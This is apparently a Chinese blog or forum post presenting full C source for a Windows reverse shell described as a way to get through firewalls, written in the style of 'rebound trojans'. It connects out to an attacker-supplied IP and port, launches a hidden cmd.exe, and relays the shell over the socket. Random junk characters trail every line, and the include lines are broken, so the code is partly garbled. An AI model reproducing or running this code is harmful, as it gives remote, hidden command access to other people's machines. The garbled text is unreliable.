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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'n4$dv% q  
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/* ============================== we;QrS(Hi  
Rebound port in Windows NT 19.oW49Sw  
By wind,2006/7 ?kKr/f4N  
===============================*/ 1a>TJdoa  
#include vv5 uU8  
#include $~FnBD%|{  
0s'H(qE,_  
#pragma comment(lib,"wsock32.lib") 1&Ruz[F5  
5T- N\)@  
void OutputShell(); C3>`e3v  
SOCKET sClient; -N~eb^3[c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vp j[)W%L  
z)&ZoSXWc  
void main(int argc,char **argv) -K*&I!  
{ D*o5fPvFO  
WSADATA stWsaData; 0G}]d17ho  
int nRet; \1R<GBC4  
SOCKADDR_IN stSaiClient,stSaiServer; Dj(!i1eQNZ  
AIX?840V  
if(argc != 3) $>=?'wr  
{ fA{t\  
printf("Useage:\n\rRebound DestIP DestPort\n"); Tj v)jD  
return; lbUUf}   
} Z.rR)  
n 0rAOkW  
WSAStartup(MAKEWORD(2,2),&stWsaData); gUtxyW  
O|I)HpG;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j8#xNA  
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stSaiClient.sin_family = AF_INET; czu?]9;^ Z  
stSaiClient.sin_port = htons(0); @=G6fW:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bj$VYS"kY  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~H1 ZQ[  
{ 3tu:Vc.:M  
printf("Bind Socket Failed!\n"); ilr'<5 rq  
return; lZ>j:/R8^&  
} %&Q9WMo  
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stSaiServer.sin_family = AF_INET; o`+$h:zm@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aRE%(-5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .bloaeu-  
pb5q2|u`h  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "f|xIK`c  
{ vtu!* 7m  
printf("Connect Error!"); PPMAj@B}V  
return; &8xwR   
} X4I+  
OutputShell(); vzH"O=  
} i2&I<:  
#Bo3 :B8  
void OutputShell() `%ulorS  
{ u}Q cyG^  
char szBuff[1024]; ,:=g}i  
SECURITY_ATTRIBUTES stSecurityAttributes; h#JX$9  
OSVERSIONINFO stOsversionInfo; Xt9vTCox  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Uy98lv  
STARTUPINFO stStartupInfo; pgipT#_K  
char *szShell; b9RJ>K  
PROCESS_INFORMATION stProcessInformation; a>8&B  
unsigned long lBytesRead; K'\Jnn  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Bk2j|7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aExt TE  
stSecurityAttributes.lpSecurityDescriptor = 0; G<M9 6V  
stSecurityAttributes.bInheritHandle = TRUE; B]#^&89wG)  
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6;Sz^W  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O<()T6  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d.xT8l}sS  
\__xTL\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Zdy{e|-Zn  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  WJTc/  
stStartupInfo.wShowWindow = SW_HIDE; r)|6H"n#]S  
stStartupInfo.hStdInput = hReadPipe; 6Wk9"?+1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p1!-|Sqq  
}uiD8b{I  
GetVersionEx(&stOsversionInfo); wK!7mZ  
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switch(stOsversionInfo.dwPlatformId) zK>}x=  
{ ^;'FC vd  
case 1: UK5u"@T  
szShell = "command.com"; h{ T{3  
break; PwnfXsR  
default: 1Vx>\A  
szShell = "cmd.exe"; d]vom@iI  
break; p0Pmmp7r  
}  %m##i  
*r)dtI*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E<'V6T9bi  
"Pl.G[Buc-  
send(sClient,szMsg,77,0); PIHKSAnq  
while(1) MDCwgNPiQW  
{ \3T[Cy|5|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PQ2rNY6  
if(lBytesRead) /h 4rW>8D2  
{ C9 j{:&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0IyT(1hS  
send(sClient,szBuff,lBytesRead,0); Ym?VF{e,  
} \$!D^%~;  
else G^:?)WRG  
{ xy-Vw"I[bh  
lBytesRead=recv(sClient,szBuff,1024,0); C8%MKNPd  
if(lBytesRead<=0) break; ]fSpG\yU  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vr4{|5M  
} yCwe:58  
} [e o=  
jS)YYk5  
return; j>G|Xv  
}
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